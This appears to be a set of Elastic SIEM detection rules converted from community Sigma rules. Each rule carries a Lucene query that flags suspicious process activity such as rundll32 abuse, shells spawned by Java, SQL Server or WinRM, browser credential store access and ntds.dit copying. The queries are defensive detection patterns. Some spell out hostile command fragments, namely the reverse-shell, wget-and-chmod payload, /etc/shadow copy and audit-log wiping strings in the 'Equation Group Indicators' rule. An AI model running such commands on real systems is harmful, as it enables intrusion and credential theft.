{"description":"Detects suspicious print spool service (spoolsv.exe) child processes. Author: Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule). License: ","enabled":false,"false_positives":["None known"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4ec7c307-0b92-7286-8144-0904e89518cb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Spool Service Child Process","query":"((process.parent.executable:*\\\\spoolsv.exe AND IntegrityLevel:\"System\") AND (((((process.executable:(*\\\\gpupdate.exe OR *\\\\whoami.exe OR *\\\\nltest.exe OR *\\\\taskkill.exe OR *\\\\wmic.exe OR *\\\\taskmgr.exe OR *\\\\sc.exe OR *\\\\findstr.exe OR *\\\\curl.exe OR *\\\\wget.exe OR *\\\\certutil.exe OR *\\\\bitsadmin.exe OR *\\\\accesschk.exe OR *\\\\wevtutil.exe OR *\\\\bcdedit.exe OR *\\\\fsutil.exe OR *\\\\cipher.exe OR *\\\\schtasks.exe OR *\\\\write.exe OR *\\\\wuauclt.exe) OR (process.executable:*\\\\net.exe AND (NOT (process.command_line:*start*)))) OR (process.executable:*\\\\cmd.exe AND (NOT (process.command_line:(*.spl* OR *route\\ add* OR *program\\ files*))))) OR (process.executable:*\\\\netsh.exe AND (NOT (process.command_line:(*add\\ portopening* OR *rule\\ name*))))) OR (process.executable:*\\\\powershell.exe AND (NOT (process.command_line:*.spl*)))) OR (process.executable:*\\\\rundll32.exe AND process.command_line:*rundll32.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1068","T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process injection using ZOHO's dctask64.exe Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown yet"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"404f78f6-2307-3f75-13e0-d18efe298982","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"ZOHO Dctask64 Process Injection","query":"(process.executable:*\\\\dctask64.exe AND (NOT (process.command_line:*DesktopCentral_Agent\\\\agent*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process related to rasdial.exe Author: juju4. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6bba49bf-7f8c-47d6-a1bb-6b4dece4640e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious RASdial Activity","query":"process.executable:*rasdial.exe","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process related to rundll32 based on arguments Author: frack113. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"73fcad2e-ff14-4c38-b11d-4172c8ac86c7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Rundll32 Script in CommandLine","query":"(process.command_line:*rundll32* AND process.command_line:*mshtml,RunHTMLApplication* AND process.command_line:(*javascript\\:* OR *vbscript\\:*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process related to rundll32 based on arguments Author: juju4, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e593cf51-88db-4ee1-b920-37e89012a3c9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Rundll32 Activity","query":"((process.command_line:*javascript\\:* AND process.command_line:*.RegisterXLL*) OR (process.command_line:*url.dll* AND process.command_line:*OpenURL*) OR (process.command_line:*url.dll* AND process.command_line:*OpenURLA*) OR (process.command_line:*url.dll* AND process.command_line:*FileProtocolHandler*) OR (process.command_line:*zipfldr.dll* AND process.command_line:*RouteTheCall*) OR (process.command_line:*shell32.dll* AND process.command_line:*Control_RunDLL*) OR (process.command_line:*shell32.dll* AND process.command_line:*ShellExec_RunDLL*) OR (process.command_line:*mshtml.dll* AND process.command_line:*PrintHTML*) OR (process.command_line:*advpack.dll* AND process.command_line:*LaunchINFSection*) OR (process.command_line:*advpack.dll* AND process.command_line:*RegisterOCX*) OR (process.command_line:*ieadvpack.dll* AND process.command_line:*LaunchINFSection*) OR (process.command_line:*ieadvpack.dll* AND process.command_line:*RegisterOCX*) OR (process.command_line:*ieframe.dll* AND process.command_line:*OpenURL*) OR (process.command_line:*shdocvw.dll* AND process.command_line:*OpenURL*) OR (process.command_line:*syssetup.dll* AND process.command_line:*SetupInfObjectInstallAction*) OR (process.command_line:*setupapi.dll* AND process.command_line:*InstallHinfSection*) OR (process.command_line:*pcwutl.dll* AND process.command_line:*LaunchApplication*) OR (process.command_line:*dfshim.dll* AND process.command_line:*ShOpenVerbApplication*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"eddc5c57-0f69-daa4-c1d5-83eef7c0bfd5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Rundll32 Activity Invoking Sys File","query":"(process.command_line:*rundll32.exe* AND process.command_line:(*.sys,* OR *.sys\\ *))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6097e924-cb90-3333-7aad-e2f061ea8011","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Rundll32 Invoking Inline VBScript","query":"(process.command_line:*rundll32.exe* AND process.command_line:*Execute* AND process.command_line:*RegRead* AND process.command_line:*window.close*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process run from unusual locations Author: juju4, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"15b75071-74cc-47e0-b4c6-b43744a62a2b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Process Start Locations","query":"(process.executable:(*\\:\\\\RECYCLER\\\\* OR *\\:\\\\SystemVolumeInformation\\\\*) OR process.executable:(C\\:\\\\Windows\\\\Tasks\\\\* OR C\\:\\\\Windows\\\\debug\\\\* OR C\\:\\\\Windows\\\\fonts\\\\* OR C\\:\\\\Windows\\\\help\\\\* OR C\\:\\\\Windows\\\\drivers\\\\* OR C\\:\\\\Windows\\\\addins\\\\* OR C\\:\\\\Windows\\\\cursors\\\\* OR C\\:\\\\Windows\\\\system32\\\\tasks\\\\*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious process that use escape characters Author: juju4. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Commandline Escape","query":"process.command_line:(*h\\^t\\^t\\^p* OR *h\\\"t\\\"t\\\"p*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing Author: frack113. License: ","enabled":false,"false_positives":["Antivirus, Anti-Spyware, Anti-Malware Software","Backup software"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c9173ed8-22d6-aba8-fd8a-46eed145a596","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Browser Credential Store Access","query":"(file.path:(*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\UserData\\\\Default\\\\Network\\\\Cookies OR *\\\\Appdata\\\\Local\\\\Chrome\\\\User\\ Data\\\\Default\\\\Login\\ Data OR *\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\UserData\\\\LocalState OR *\\\\Appdata\\\\Local\\\\Microsoft\\\\Windows\\\\WebCache\\\\WebCacheV01.dat OR *\\\\cookies.sqlite) AND (NOT ((process.executable:(*\\\\firefox.exe OR *\\\\chrome.exe)) OR (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable:(*\\\\MsMpEng.exe OR *\\\\MpCopyAccelerator.exe)) OR (process.parent.executable:\"C\\:\\\\Windows\\\\System32\\\\services.exe\" AND file.path:*\\\\APPDATA\\\\LOCAL\\\\MICROSOFT\\\\WINDOWS\\\\WEBCACHE\\\\WEBCACHEV01.DAT))))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"921cafd4-6074-cd26-9de7-a878f1f8a623","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Process Writes Ntds.dit","query":"(file.path:*\\\\ntds.dit AND process.executable:(*\\\\powershell.exe OR *\\\\cmd.exe))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious renamed PAExec execution as often used by attackers Author: Florian Roth. License: ","enabled":false,"false_positives":["Weird admins that rename their tools","Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c4e49831-1496-40cf-8ce1-b53f942b02f9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Renamed PAExec","query":"((winlog.event_data.Description:\"PAExec\\ Application\" OR winlog.event_data.OriginalFileName:\"PAExec.exe\") AND (NOT (process.executable:(*\\\\PAexec.exe OR *\\\\paexec.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious renamed SysInternals DebugView execution Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"25a599d9-55a7-f5f3-216a-c24282cd06c4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Renamed SysInternals Debug View","query":"(Product:(\"Sysinternals\\ DebugView\" OR \"Sysinternals\\ Debugview\") AND (NOT (winlog.event_data.OriginalFileName:\"Dbgview.exe\" AND process.executable:*\\\\Dbgview.exe)))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d7eb979b-c2b5-4a6f-a3a7-c87ce6763819","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Control Panel DLL Load","query":"((process.parent.executable:*\\\\System32\\\\control.exe AND process.executable:*\\\\rundll32.exe\\ ) AND (NOT (process.command_line:*Shell32.dll*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious shell commands used in various Equation Group scripts and tools Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"41e5c73d-9983-4b69-bd03-e13b67e9623c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Equation Group Indicators","query":"(*chown\\ root*chmod\\ 4777\\ * OR *cp\\ \\/bin\\/sh\\ .;chown* OR *chmod\\ 4777\\ \\/tmp\\/.scsi\\/dev\\/bin\\/gsh* OR *chown\\ root\\:root\\ \\/tmp\\/.scsi\\/dev\\/bin\\/* OR *chown\\ root\\:root\\ x;* OR *\\/bin\\/telnet\\ locip\\ locport\\ <\\ \\/dev\\/console\\ |\\ \\/bin\\/sh* OR *\\/tmp\\/ratload* OR *ewok\\ \\-t\\ * OR *xspy\\ \\-display\\ * OR *cat\\ >\\ \\/dev\\/tcp\\/127.0.0.1\\/80\\ <\\ \\/dev\\/null* OR *ping\\ \\-c\\ 2\\ *;\\ grep\\ *\\ \\/proc\\/net\\/arp\\ >\\/tmp\\/gx* OR *iptables\\ *\\ OUTPUT\\ \\-p\\ tcp\\ \\-d\\ 127.0.0.1\\ \\-\\-tcp\\-flags\\ RST\\ RST\\ \\-j\\ DROP;* OR *>\\ \\/var\\/log\\/audit\\/audit.log;\\ rm\\ \\-f\\ .* OR *cp\\ \\/var\\/log\\/audit\\/audit.log\\ .tmp* OR *sh\\ >\\/dev\\/tcp\\/*\\ <&1\\ 2>&1* OR *ncat\\ \\-vv\\ \\-l\\ \\-p\\ *\\ <* OR *nc\\ \\-vv\\ \\-l\\ \\-p\\ *\\ <* OR *<\\ \\/dev\\/console\\ |\\ uudecode\\ \\&&\\ uncompress* OR *sendmail\\ \\-osendmail;chmod\\ \\+x\\ sendmail* OR *\\/usr\\/bin\\/wget\\ \\-O\\ \\/tmp\\/a\\ http*\\ \\&&\\ chmod\\ 755\\ \\/tmp\\/cron* OR *chmod\\ 666\\ \\/var\\/run\\/utmp\\~* OR *chmod\\ 700\\ nscd\\ crond* OR *cp\\ \\/etc\\/shadow\\ \\/tmp\\/.* OR *<\\/dev\\/console\\ |uudecode\\ >\\ \\/dev\\/null\\ 2>&1\\ \\&&\\ uncompress* OR *chmod\\ 700\\ jp\\&&netstat\\ \\-an|grep* OR *uudecode\\ >\\ \\/dev\\/null\\ 2>&1\\ \\&&\\ uncompress\\ \\-f\\ *\\ \\&&\\ chmod\\ 755* OR *chmod\\ 700\\ crond* OR *wget\\ http*;\\ chmod\\ \\+x\\ \\/tmp\\/sendmail* OR *chmod\\ 700\\ fp\\ sendmail\\ pt* OR *chmod\\ 755\\ \\/usr\\/vmsys\\/bin\\/pipe* OR *chmod\\ \\-R\\ 755\\ \\/usr\\/vmsys* OR *chmod\\ 755\\ $opbin\\/*tunnel* OR *chmod\\ 700\\ sendmail* OR *chmod\\ 0700\\ sendmail* OR *\\/usr\\/bin\\/wget\\ http*sendmail;chmod\\ \\+x\\ sendmail;* OR *\\&&\\ telnet\\ *\\ 2>&1\\ <\\/dev\\/console*)","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious shell spawn from Java host process (e.g. log4j exploitation) Author: Andreas Hunkeler (@Karneades), Florian Roth. License: ","enabled":false,"false_positives":["Legitimate calls to system binaries","Company specific internal usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0d34ed8b-1c12-4ff2-828c-16fc860b766d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Shells Spawn by Java","query":"(process.parent.executable:*\\\\java.exe AND process.executable:(*\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\whoami.exe OR *\\\\bitsadmin.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\scrcons.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe OR *\\\\curl.exe))","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","Privilege Escalation"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation) Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"90fb5e62-ca1f-4e22-b42e-cc521874c938","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Shells Spawn by Java Utility Keytool","query":"(process.parent.executable:*\\\\keytool.exe AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\whoami.exe OR *\\\\bitsadmin.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\scrcons.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe))","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","Privilege Escalation"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection Author: FPT.EagleEye Team, wagga. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"735a3dfb-6c51-6a03-df63-14e75583a82a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious Shells Spawn by SQL Server","query":"(process.parent.executable:*\\\\sqlservr.exe AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\bitsadmin.exe))","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","Privilege Escalation","T1190","T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious shell spawn from WinRM host process Author: Andreas Hunkeler (@Karneades), Markus Neis. License: ","enabled":false,"false_positives":["Legitimate WinRM usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"061550ca-91cc-86ba-1285-47f1cd6ec923","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Shells Spawn by WinRM","query":"(process.parent.executable:*\\\\wsmprovhost.exe AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\whoami.exe OR *\\\\bitsadmin.exe))","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","Privilege Escalation","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious Splwow64.exe process without any command line parameters Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4d2f6b5b-066a-8a4b-d949-ead9a1a29143","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Splwow64 Without Params","query":"(process.executable:*\\\\splwow64.exe AND process.command_line:*splwow64.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Possible but rare"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a904cc10-2238-8e71-77f1-9ce6ba3c3b79","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Rundll32 Without Any CommandLine Params","query":"((process.command_line:*\\\\rundll32.exe AND (NOT (process.parent.executable:*\\\\svchost.exe))) AND (NOT (process.parent.executable:(*\\\\AppData\\\\Local\\\\* OR *\\\\Microsoft\\\\Edge\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious sub processes of web server processes Author: Florian Roth. License: ","enabled":false,"false_positives":["Web applications that invoke Linux command line tools"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"818f7b24-0fba-4c49-a073-8b755573b9c7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Linux Webshell Indicators","query":"(process.executable:(*\\/whoami OR *\\/ifconfig OR *\\/usr\\/bin\\/ip OR *\\/bin\\/uname) AND (process.parent.executable:(*\\/httpd OR *\\/lighttpd OR *\\/nginx OR *\\/apache2 OR *\\/node) OR (process.parent.command_line:*\\/bin\\/java* AND process.parent.command_line:*tomcat*)))","meta":{"from":"1m"},"severity":"critical","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec) Author: Florian Roth. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Sysprep on AppData Folder","query":"(process.executable:*\\\\sysprep.exe AND process.command_line:*\\\\AppData\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns Author: Florian Roth (rule), @blu3_team (idea). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1cdd9a09-06c9-4769-99ff-626e2b3991b8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious Double Extension","query":"process.executable:(*.doc.exe OR *.docx.exe OR *.xls.exe OR *.xlsx.exe OR *.ppt.exe OR *.pptx.exe OR *.rtf.exe OR *.pdf.exe OR *.txt.exe OR *\\ \\ \\ \\ \\ \\ .exe OR *______.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious use of calc.exe with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"737e618a-a410-49b5-bec3-9e55ff7fbc15","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Calculator Usage","query":"(process.command_line:*\\\\calc.exe\\ * OR (process.executable:*\\\\calc.exe AND (NOT (process.executable:*\\\\Windows\\\\Sys*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious use of XORDump process memory dumping utility Author: Florian Roth. License: ","enabled":false,"false_positives":["Another tool that uses the command line switches of XORdump"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"edc0c7e5-e2bc-cbf4-b57e-e06632fb070e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"XORDump Use","query":"(process.executable:*\\\\xordump.exe OR process.command_line:(*\\ \\-process\\ lsass.exe\\ * OR *\\ \\-m\\ comsvcs\\ * OR *\\ \\-m\\ dbghelp\\ * OR *\\ \\-m\\ dbgcore\\ *))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
